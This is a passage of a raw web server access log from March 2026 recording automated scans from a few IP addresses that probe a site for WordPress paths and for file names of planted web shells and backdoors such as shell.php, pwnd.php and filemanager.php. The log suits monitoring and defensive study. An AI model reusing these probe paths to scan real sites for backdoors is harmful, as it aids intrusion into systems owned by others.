Safari/604.1" 34.142.251.255 - - [03/Mar/2026:05:44:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 43.135.36.201 - - [03/Mar/2026:06:07:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.41.168 - - [03/Mar/2026:06:36:09 +0300] "GET /wp-scxy.php HTTP/1.1" 301 795 "-" "-" 20.63.41.168 - - [03/Mar/2026:06:35:52 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.41.168 - - [03/Mar/2026:06:36:14 +0300] "GET /ccou1.php HTTP/1.1" 301 795 "-" "-" 20.63.41.168 - - [03/Mar/2026:06:36:00 +0300] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 20.63.41.168 - - [03/Mar/2026:06:36:03 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.63.41.168 - - [03/Mar/2026:06:36:28 +0300] "GET /reyna.php HTTP/1.1" 301 795 "-" "-" 20.63.41.168 - - [03/Mar/2026:06:36:20 +0300] "GET /wp-the1.php HTTP/1.1" 301 795 "-" "-" 85.203.23.75 - - [03/Mar/2026:08:05:40 +0300] "GET /wp-content/updraft/plugins-old/updraftplus/vendor/team-updraft/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:05:44 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:05:47 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.75 - - [03/Mar/2026:08:05:50 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.75 - - [03/Mar/2026:08:05:54 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.75 - - [03/Mar/2026:08:05:57 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.75 - - [03/Mar/2026:08:06:00 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.75 - - [03/Mar/2026:08:06:03 +0300] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:06 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:09 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:13 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:16 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:19 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:20 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.75 - - [03/Mar/2026:08:06:23 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.75 - - [03/Mar/2026:08:06:26 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.75 - - [03/Mar/2026:08:06:29 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:30 +0300] "GET /wp-includes/speculative8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:33 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:36 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:37 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.75 - - [03/Mar/2026:08:06:40 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.75 - - [03/Mar/2026:08:06:43 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:46 +0300] "GET /wp-includes/js/dist HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:47 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:50 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:50 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:53 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:54 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:57 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:57 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:06:58 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:01 +0300] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:04 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.75 - - [03/Mar/2026:08:07:07 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:07 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.75 - - [03/Mar/2026:08:07:08 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:08 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.75 - - [03/Mar/2026:08:07:11 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.75 - - [03/Mar/2026:08:07:12 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:07:48 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:07:51 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:07:54 +0300] "GET /shell3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:07:57 +0300] "GET /znv3hcxz6mwjdz1jwxrxiCakc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:00 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:04 +0300] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:08:07 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:08:07 +0300] "GET /wp-includes/js/mediaelement/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:08 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:08:08 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:08:11 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:14 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:14 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:18 +0300] "GET /nrhogjyecktixbal0fnt5Cakc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:21 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:08:24 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:24 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:27 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:31 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:08:31 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:08:34 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:08:37 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:08:41 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:08:44 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:47 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:08:47 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:08:51 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:08:54 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:08:54 +0300] "GET /wp-includes/Text/Diff/Engine/wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:08:57 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:01 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:09:04 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:04 +0300] "GET /wp-includes/widgets/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:07 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:09:08 +0300] "GET /wordpress/wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:11 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:14 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:09:17 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:09:18 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:18 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:09:21 +0300] "GET /wp-domain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:24 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:09:25 +0300] "GET /wp-content/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:09:28 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:29 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:09:32 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:09:32 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:33 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:33 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:09:36 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:37 +0300] "GET /uk5pqv0wksbuaourleCakc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:40 +0300] "GET /wp-includes/block-bindings HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:40 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:41 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:41 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:09:42 +0300] "GET /wp-content/themes/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:09:45 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:48 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:09:48 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:52 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:09:55 +0300] "GET /wp-includes/blocks/comment-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:55 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:58 +0300] "GET /wp-includes/blocks/nextpage/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:09:59 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:02 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:10:05 +0300] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:08 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:09 +0300] 